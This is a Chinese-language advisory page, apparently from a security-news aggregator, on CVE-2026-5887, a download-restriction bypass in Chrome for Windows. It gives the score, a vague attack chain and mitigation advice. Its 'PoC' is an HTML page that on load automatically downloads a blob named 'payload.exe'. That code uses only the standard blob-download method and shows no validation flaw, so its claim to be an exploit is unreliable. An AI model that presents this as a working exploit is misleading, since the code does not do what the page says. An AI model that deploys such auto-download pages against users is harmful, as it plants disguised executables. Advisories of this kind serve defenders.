CVE-2026-5887 CVSS 4.3 中危

CVE-2026-5887 Google Chrome下载限制绕过漏洞

披露日期: 2026-04-08

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5887

漏洞类型

输入验证不足

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome

漏洞概述

Windows平台上的Google Chrome浏览器在147.0.7727.55之前的版本中，Downloads组件存在未充分验证不可信输入的漏洞。攻击者可以通过诱导用户访问特制的HTML页面，绕过浏览器的下载限制。该漏洞属于Chromium安全漏洞，严重程度为中危，利用该漏洞可能导致恶意文件被下载或安全策略失效。

技术细节

该漏洞源于Google Chrome浏览器的Downloads模块对用户提供的输入缺乏严格的验证机制。在受影响的版本中，浏览器在处理下载请求时，未能正确过滤或转义来自不可信来源的参数。攻击者可以构建一个恶意的HTML页面，其中包含特定的载荷或脚本逻辑。当受害者访问该页面并触发下载行为时，由于验证不足，浏览器可能会错误地解释下载请求，从而允许本应被阻止的文件类型或路径通过检查。攻击向量为网络（AV:N），无需认证（PR:N），但需要用户交互（UI:R），即用户必须访问攻击者控制的页面。

攻击链分析

STEP 1

攻击者制作包含恶意HTML代码的网页，利用下载验证缺陷。

STEP 2

诱导受害者使用存在漏洞的Chrome浏览器访问该恶意网页。

STEP 3

受害者与页面进行交互（如页面加载或点击），触发下载逻辑。

STEP 4

浏览器处理下载请求时，因输入验证不足，错误地允许了受限文件的下载。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-5887 -->
<!-- This PoC demonstrates a potential bypass of download restrictions -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5887 PoC</title>
</head>
<body>
    <h1>Download Bypass Test</h1>
    <script>
        function triggerDownload() {
            // Create a blob to simulate a file download
            var content = "This is a test file for CVE-2026-5887.";
            var blob = new Blob([content], { type: 'text/plain' });
            var url = window.URL.createObjectURL(blob);
            
            var a = document.createElement('a');
            a.style.display = 'none';
            a.href = url;
            // Attempting to exploit insufficient validation in filename or path
            a.download = "payload.exe"; 
            document.body.appendChild(a);
            a.click();
            
            window.URL.revokeObjectURL(url);
        }
        
        // Trigger automatically to simulate attack scenario
        window.onload = triggerDownload;
    </script>
</body>
</html>

影响范围

Google Chrome < 147.0.7727.55

防御指南

临时缓解措施

建议用户立即检查并更新Google Chrome浏览器至最新版本。在未修复前，应限制对不可信网站的访问权限，并谨慎处理浏览器的下载提示，避免自动下载可疑文件。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表